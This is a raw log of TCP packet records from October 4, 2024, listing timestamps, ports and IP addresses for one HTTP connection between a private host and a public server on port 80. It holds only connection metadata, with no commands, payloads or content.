Oct 4, 2024 09:52:27.139662981 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.139682055 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.139693975 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.139718056 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.139724970 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.139741898 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.139758110 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.139781952 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.139789104 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.139803886 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.139843941 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.139849901 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.139895916 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.139899015 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.139928102 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.139950991 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.139959097 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.139974117 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.139991999 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.140010118 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.140023947 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.140043974 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.140057087 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.140079021 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.140089035 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.140100956 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.140121937 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.140146971 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.140185118 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.140415907 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.140448093 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.140474081 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.140477896 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.140495062 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.140508890 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.140527964 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.140558958 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.140563011 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.140585899 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.140616894 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.140649080 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.140678883 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.140681028 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.140681982 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.140681982 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.140711069 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.140726089 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.140726089 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.140743017 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.140763998 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.140775919 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.140799999 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.140821934 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.140896082 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.140928030 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.140953064 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.140975952 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.140978098 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.141009092 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.141024113 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.141041040 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.141052008 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.141071081 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.141083956 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.141103029 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.141122103 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.141134977 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.141153097 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.141165972 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.141180038 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.141197920 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.141212940 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.141228914 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.141244888 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.141259909 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.141273975 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.141294956 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.141308069 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.141340017 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.141635895 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.141668081 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.141685963 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.141700029 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.141712904 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.141731977 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.141743898 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.141762972 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.141774893 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.141804934 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.141812086 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.141854048 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.141860008 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.141886950 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.141901970 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.141918898 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.141926050 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.141951084 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.141964912 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.141983032 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.141993046 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.142013073 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.142024994 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.142045975 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.142057896 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.142076969 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.142088890 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.142107010 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.142132998 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.142139912 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.142168045 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.142173052 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.142205000 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.142237902 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.142354012 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.142354012 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.142354965 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.142354965 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.142380953 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.142412901 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.142431974 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.142445087 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.142467976 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.142491102 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.142505884 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.142566919 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.142569065 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.142601967 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.142622948 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.142647028 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.142833948 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.142883062 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.142884970 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.142915010 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.142935991 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.142947912 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.142975092 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.142978907 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.142992973 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.143011093 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.143034935 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.143074989 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.143083096 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.143136978 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.143270969 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.143302917 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.143322945 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.143333912 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.143346071 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.143367052 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.143413067 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.143413067 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.183316946 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.183362961 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.183430910 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.183465004 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.183496952 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.183528900 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.183562994 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.183598995 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.183665037 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.183665037 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.183665037 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.183665991 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.226650000 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.226669073 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.226684093 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.226699114 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.226711988 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.226727009 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.226742983 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.226824045 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.226839066 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.226845980 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.226861954 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.226874113 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.226887941 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.226903915 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.226918936 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.226933002 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.226947069 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.226953983 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.226953983 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.226953983 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.226953983 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.226964951 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.227049112 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.227049112 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.227273941 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.227294922 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.227308989 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.227324009 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.227338076 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.227353096 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.227467060 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.227482080 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.227541924 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.227555990 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.227571011 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.227585077 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.227600098 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.227613926 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.227613926 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.227615118 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.227628946 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.227699995 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.227700949 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.227721930 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.227735996 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.227750063 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.227763891 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.227777958 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.227788925 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.227792978 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.227808952 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.227850914 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.227965117 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.228022099 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.228049040 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.228064060 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.228104115 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.228136063 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.228288889 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.228303909 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.228362083 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.228393078 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.228408098 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.228423119 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.228437901 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.228444099 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.228452921 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.228487015 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.228518963 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.228558064 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.228573084 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.228585958 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.228600979 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.228602886 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.228616953 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.228629112 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.228631973 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.228646994 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.228662014 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.228666067 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.228676081 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.228686094 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.228691101 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.228704929 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.228728056 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.228743076 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.228763103 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.228785992 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.229000092 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.229016066 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.229055882 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.229084969 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.229284048 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.229300022 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.229314089 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.229327917 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.229342937 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.229342937 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.229357004 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.229372025 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.229372978 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.229387999 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.229407072 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.229430914 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.229569912 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.229595900 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.229620934 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.229626894 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.229648113 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.229651928 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.229675055 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.229691982 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.229691982 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.229701042 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.229716063 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.229727983 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.229734898 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.229784012 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.229815960 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.229840994 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.229866982 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.229876041 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.229896069 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.229902983 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.229923010 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.229923964 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.229954004 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.230029106 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.230199099 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.230225086 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.230249882 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.230258942 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.230277061 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.230294943 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.230294943 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.230303049 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.230314016 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.230335951 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.230353117 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.230361938 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.230382919 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.230390072 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.230405092 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.230467081 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.230492115 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.230530977 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.230498075 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.230556965 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.230582952 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.230607986 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.230612040 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.230612040 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.230612040 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.230612040 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.230633974 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.230645895 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.230662107 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.230673075 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.230673075 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.230725050 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.230751991 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.230778933 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.230808020 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.230818987 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.230825901 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.230844975 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.230871916 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.230875969 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.230895042 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.230897903 CEST	80	49745	141.98.233.156	192.168.2.4
